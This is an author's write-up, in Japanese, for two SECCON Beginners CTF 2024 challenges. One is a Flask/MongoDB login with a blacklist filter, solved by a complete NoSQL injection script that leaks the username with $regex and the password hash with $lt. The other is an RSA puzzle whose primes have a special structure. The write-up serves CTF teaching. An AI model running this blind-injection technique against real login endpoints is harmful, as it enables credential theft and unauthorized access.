SECCON Beginners CTF 2024 作問者writeup

## はじめに

2024年6月15日 14:00から24時間で、初心者向けのSECCON Beginners CTF 2024を開催しました。私はWebとCryptoを1問ずつ作問したので、それらの作問者writeupを公開します。あくまで解き方の1つとして捉えていただければ幸いです。

## [web 130 pts] double-leaks(55 teams solved)

> Can you leak both username and password? 👀
> 

<details>
<summary>ソースコード</summary>
    
    ```python
    from flask import Flask, request, jsonify, render_template, abort
    from flask_limiter import Limiter
    from flask_limiter.util import get_remote_address
    from pymongo import MongoClient
    import hashlib
    import os
    import sys
    import string
    import traceback
    
    app = Flask(__name__)
    limiter = Limiter(
        get_remote_address,
        app=app,
        default_limits=["10 per second"],
    )
    
    def get_mongo_client():
        client = MongoClient(host="mongodb", port=27017)
        out = client.db_name.command("ping")
        assert "ok" in out, "MongoDB is not ready"
        return client
    
    # insert init data
    try:
        client = get_mongo_client()
        db = client.get_database("double-leaks")
        users_collection = db.get_collection("users")
    
        admin_username = os.getenv("ADMIN_USERNAME", "")
        assert len(admin_username) > 0 and any(
            [ch in string.printable for ch in admin_username]
        ), "ADMIN_USERNAME is not set"
        admin_password = os.getenv("ADMIN_PASSWORD", "")
        assert len(admin_password) > 0 and any(
            [ch in string.printable for ch in admin_password]
        ), "ADMIN_PASSWORD is not set"
        flag = os.getenv("FLAG", "flag{dummy_flag}")
        assert len(flag) > 0 and any(
            [ch in string.printable for ch in flag]
        ), "FLAG is not set"
    
        if users_collection.count_documents({}) == 0:
            hashed_password = hashlib.sha256(admin_password.encode("utf-8")).hexdigest()
            users_collection.insert_one(
                {"username": admin_username, "password_hash": hashed_password}
            )
    except Exception:
        traceback.print_exc(file=sys.stderr)
    finally:
        client.close()
    
    def waf(input_str):
        # DO NOT SEND STRANGE INPUTS! :rage:
        blacklist = [
            "/",
            ".",
            "*",
            "=",
            "+",
            "-",
            "?",
            ";",
            "&",
            "\\",
            "=",
            " ^",
            "(",
            ")",
            "[",
            "]",
            "in",
            "where",
            "regex",
        ]
        return any([word in str(input_str) for word in blacklist])
    
    @app.route("/<path:path>")
    def missing_handler(path):
        abort(404, "page not found :(")
    
    @app.route("/")
    def index():
        return render_template("index.html")
    
    @app.route("/login", methods=["POST"])
    def login():
        username = request.json["username"]
        password_hash = request.json["password_hash"]
        if waf(password_hash):
            return jsonify({"message": "DO NOT USE STRANGE WORDS :rage:"}), 400
    
        try:
            client = get_mongo_client()
            db = client.get_database("double-leaks")
            users_collection = db.get_collection("users")
            user = users_collection.find_one(
                {"username": username, "password_hash": password_hash}
            )
            if user is None:
                return jsonify({"message": "Invalid Credential"}), 401
    
            # Confirm if credentials are valid just in case :smirk:
            if user["username"] != username or user["password_hash"] != password_hash:
                return jsonify({"message": "DO NOT CHEATING"}), 401
    
            return jsonify(
                {"message": f"Login successful! Congrats! Here is the flag: {flag}"}
            )
    
        except Exception:
            traceback.print_exc(file=sys.stderr)
            return jsonify({"message": "Internal Server Error"}), 500
        finally:
            client.close()
    
    if __name__ == "__main__":
        app.run(debug=False, host="0.0.0.0", port=41413)
    
    ```
</details>

    

まず、問題文等からMongoDBに関してusernameとpasswordをleakすることでflagを得る問題であることが分かる。ソースコードを見るとleakするためにエラーメッセージ等を利用できないことが分かるが、エラーメッセージがそれぞれの条件に応じて異なるので、このエラーメッセージをOracleとしてBlind SQL Injectionをすれば良いことが分かる。

passwordには次の通りwafが設定されているため、usernameからleakする方法を考える。

```python
def waf(input_str):
    # DO NOT SEND STRANGE INPUTS! :rage:
    blacklist = [
        "/",
        ".",
        "*",
        "=",
        "+",
        "-",
        "?",
        ";",
        "&",
        "\\",
        "=",
        " ^",
        "(",
        ")",
        "[",
        "]",
        "in",
        "where",
        "regex",
    ]
    return any([word in str(input_str) for word in blacklist])

    # (snip)
@app.route("/login", methods=["POST"])
    username = request.json["username"]
    password_hash = request.json["password_hash"]
    if waf(password_hash):
        return jsonify({"message": "DO NOT USE STRANGE WORDS :rage:"}), 400
```

Leak方法について、[HackTricks](https://book.hacktricks.xyz/pentesting-web/nosql-injection)や[Payloads All The ThingsのPayloads](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/NoSQL%20Injection#mongodb-payloads)を見ると、 `$regex` を利用できることがわかる。仕組みはBlind SQL Injectionのように、1文字目から全探索し、残りの文字を任意の文字列とマッチするようなクエリを送るものだ。具体的なコードは次の通り。

```python
def get_username():
    characters = string.printable
    username = ""

    while True:
        print(f"{username=}")
        found = False
        for char in characters:
            username_regex = f"^{username}{char}.*$"
            un = {"$regex": username_regex}
            pw = {"$ne": "hoge"}
            if try_login(un, pw):
                if char == "$":
                    return username
                username += char
                found = True
                break
        if not found:
            return username
            

def try_login(un, pw):
    data = {"username": un, "password_hash": pw}
    response = requests.post(url, headers=headers, json=data)
    time.sleep(0.12)
    return "DO NOT CHEATING" in response.text
```

これでusernameは既知になるので、次にpasswordがleakできないか考える。こちらはwafがあるので、 `$regex` は送信できない。しかし、フロントエンドのコードを見ると、送信されているのはSHA256で生成された256ビットの文字列であり、生成される値は16進数の64文字であることが分かる。ハッシュ値は固定長で文字列なので順序性を定義できる。したがって、二分探索で解けることが保証できるので[MongoDBのOperators list](https://www.mongodb.com/docs/manual/reference/operator/query/#comparison)に含まれる `$lt` 等でleakすれば良いことが分かる。

結果的なsolverは次の通り。

```python
import requests
import string
import time
import re

url = "http://localhost:41413/login" # Please replace this url with the production one.
headers = {"Content-Type": "application/json"}

def get_username():
    characters = string.printable
    username = ""

    while True:
        print(f"{username=}")
        found = False
        for char in characters:
            username_regex = f"^{username}{char}.*$"
            un = {"$regex": username_regex}
            pw = {"$ne": "hoge"}
            if try_login(un, pw):
                if char == "$":
                    return username
                username += char
                found = True
                break
        if not found:
            return username

def try_login(un, pw):
    data = {"username": un, "password_hash": pw}
    response = requests.post(url, headers=headers, json=data)
    time.sleep(0.12)
    return "DO NOT CHEATING" in response.text

def get_password_hash():
    characters = "0123456789abcdef"
    password_hash = ""

    ok = -1
    ng = pow(len(characters), 64)
    while ng - ok > 1:
        mid = (ng + ok) // 2
        password_hash = "".join(
            reversed(
                [
                    characters[(mid // pow(len(characters), i)) % len(characters)]
                    for i in range(64)
                ]
            )
        )

        pw = {"$lt": password_hash}
        res = try_login(username, pw)
        print(f"{mid=}, {password_hash=}, {ok=}, {ng=}, {res=}")
        if res:
            ng = mid
        else:
            ok = mid

    return "".join(
        reversed(
            [
                characters[(ok // pow(len(characters), i)) % len(characters)]
                for i in range(64)
            ]
        )
    )

if __name__ == "__main__":
    username = get_username()
    print(f"{username=}")

    password_hash = get_password_hash()
    print(f"{password_hash=}")

    data = {"username": username, "password_hash": password_hash}
    response = requests.post(url, headers=headers, json=data)
    print(response.text)
    match = re.search(r"ctf4b\{[^\}]+\}", response.text)

    if match:
        extracted_text = match.group()
        print(extracted_text)
    else:
        print("Not found")
```

## [crypto 93 pts] math(119 teams solved)

> RSA暗号に用いられる変数に特徴的な条件があるようですね...?
> 

<details>
<summary>ソースコード</summary>
    
    ```python
    from Crypto.Util.number import bytes_to_long, isPrime
    from secret import (
        x,
        p,
        q,
    )  # x, p, q are secret values, please derive them from the provided other values.
    import gmpy2
    
    def is_square(n: int):
        return gmpy2.isqrt(n) ** 2 == n
    
    assert isPrime(p)
    assert isPrime(q)
    assert p != q
    
    a = p - x
    b = q - x
    assert is_square(x) and is_square(a) and is_square(b)
    
    n = p * q
    e = 65537
    flag = b"ctf4b{dummy_f14g}"
    mes = bytes_to_long(flag)
    c = pow(mes, e, n)
    
    print(f"n = {n}")
    print(f"e = {e}")
    print(f"cipher = {c}")
    print(f"ab = {a * b}")
    
    # clews of factors
    assert gmpy2.mpz(a) % 4701715889239073150754995341656203385876367121921416809690629011826585737797672332435916637751589158510308840818034029338373257253382781336806660731169 == 0
    assert gmpy2.mpz(b) % 35760393478073168120554460439408418517938869000491575971977265241403459560088076621005967604705616322055977691364792995889012788657592539661 == 0
    
    ```
</details>


ソースコードより、 $x, a, b$ についての情報が与えられる。
条件を要約すると次の通り。

- $p$ , $q$ , $n$ , $mes$ , $ciphertext$ について、RSAの条件が成立する
- $a$ , $b$ , $x$ は平方数で、 $a=p-x$ , $b=q-x$
- 既知な数字は $n=pq$ , $e$ , $ciphertext$ , $ab$

この関係から、 $n=pq=(a+x)(b+x)=x^2+(a+b)x+ab$ であることがわかる。$n, ab$ は既知なので $x$ についての式を解くために  $a+b$ を知りたくなる。 一応FactorDBに投げると素因数分解できることが分かるが、作問レビュー時にguess要素になり得るという話になったので、clewとして $a$ , $b$ それぞれの素因数の1つが公開されている[^1]。これらの情報を利用することで $ab$ を素因数分解できるので、二次方程式の解の公式を用いて $a+b$  の組み合わせを全探索することで解を求められる。

[^1]:$a$ , $b$, $x$ はそれぞれ平方数なので、この性質も使うことで高速に因数を得ることも出来る。

ソルバは次の通り。

```python
from Crypto.Util.number import long_to_bytes
import itertools
import gmpy2
import traceback
import sys

n = 28347962831882769454618553954958819851319579984482333000162492691021802519375697262553440778001667619674723497501026613797636156704754646434775647096967729992306225998283999940438858680547911512073341409607381040912992735354698571576155750843940415057647013711359949649220231238608229533197681923695173787489927382994313313565230817693272800660584773413406312986658691062632592736135258179504656996785441096071602835406657489695156275069039550045300776031824520896862891410670249574658456594639092160270819842847709283108226626919671994630347532281842429619719214221191667701686004691774960081264751565207351509289
e = 65537
cipher = 21584943816198288600051522080026276522658576898162227146324366648480650054041094737059759505699399312596248050257694188819508698950101296033374314254837707681285359377639170449710749598138354002003296314889386075711196348215256173220002884223313832546315965310125945267664975574085558002704240448393617169465888856233502113237568170540619213181484011426535164453940899739376027204216298647125039764002258210835149662395757711004452903994153109016244375350290504216315365411682738445256671430020266141583924947184460559644863217919985928540548260221668729091080101310934989718796879197546243280468226856729271148474
ab = 28347962831882769454618553954958819851319579984482333000162492691021802519375697262553440778001667619674723497501026613797636156704754646434775647096967729992306225998283999940438858680547911512073341409607381040912992735354698571576155750843940415057647013711359949649102926524363237634349331663931595027679709000404758309617551370661140402128171288521363854241635064819660089300995273835099967771608069501973728126045089426572572945113066368225450235783211375678087346640641196055581645502430852650520923184043404571923469007524529184935909107202788041365082158979439820855282328056521446473319065347766237878289

def decrypt(ans_x, aa, bb):
    try:
        ans_p = ans_x + aa
        ans_q = ans_x + bb

        phi = int((ans_p - 1) * (ans_q - 1)) % n
        d = pow(e, -1, phi)
        mes = pow(cipher, d, n)
        mes = long_to_bytes(mes)
        print(f"{mes=}, {ans_x=}, {ans_p=}, {ans_q=}")
        if "ctf4b{" in str(mes):
            print(f"flag: {mes}")
            sys.exit(1)
    except Exception:
        print(f"Error: {ans_x=}, {ans_p=}, {ans_q=}")
        print(traceback.format_exc())
        return

factored_ab = [
    3,
    173,
    199,
    306606827773,
    35760393478073168120554460439408418517938869000491575971977265241403459560088076621005967604705616322055977691364792995889012788657592539661,
    4701715889239073150754995341656203385876367121921416809690629011826585737797672332435916637751589158510308840818034029338373257253382781336806660731169,
]

for ii in range(1, len(factored_ab)):
    for partial_c in itertools.combinations(factored_ab, ii):
        tmp_a, tmp_b = gmpy2.mpz(1), gmpy2.mpz(1)

        for i in factored_ab:
            if i in partial_c:
                tmp_a = tmp_a * i
            else:
                tmp_b = tmp_b * i
        aa = tmp_a * tmp_a
        bb = tmp_b * tmp_b
        assert aa * bb == ab

        tmp_b = aa + bb
        tmp_c = ab - n
        ans_x1 = (-tmp_b + gmpy2.isqrt(tmp_b**2 - 4 * tmp_c)) // 2
        if ans_x1 > 0:
            decrypt(ans_x1, aa, bb)
```

## おわりに

最後になりますが、他の人のためにもあなた自身のためにもなるので、自分の解き方をまとめたwriteupの執筆や解説等を見ながら解き直すupsolvesに、ぜひ取り組んでみてください！CTFに参加した過程で得る学びも大事ですが、言葉にすることや復習から得られる学びも大事だと私は思うので。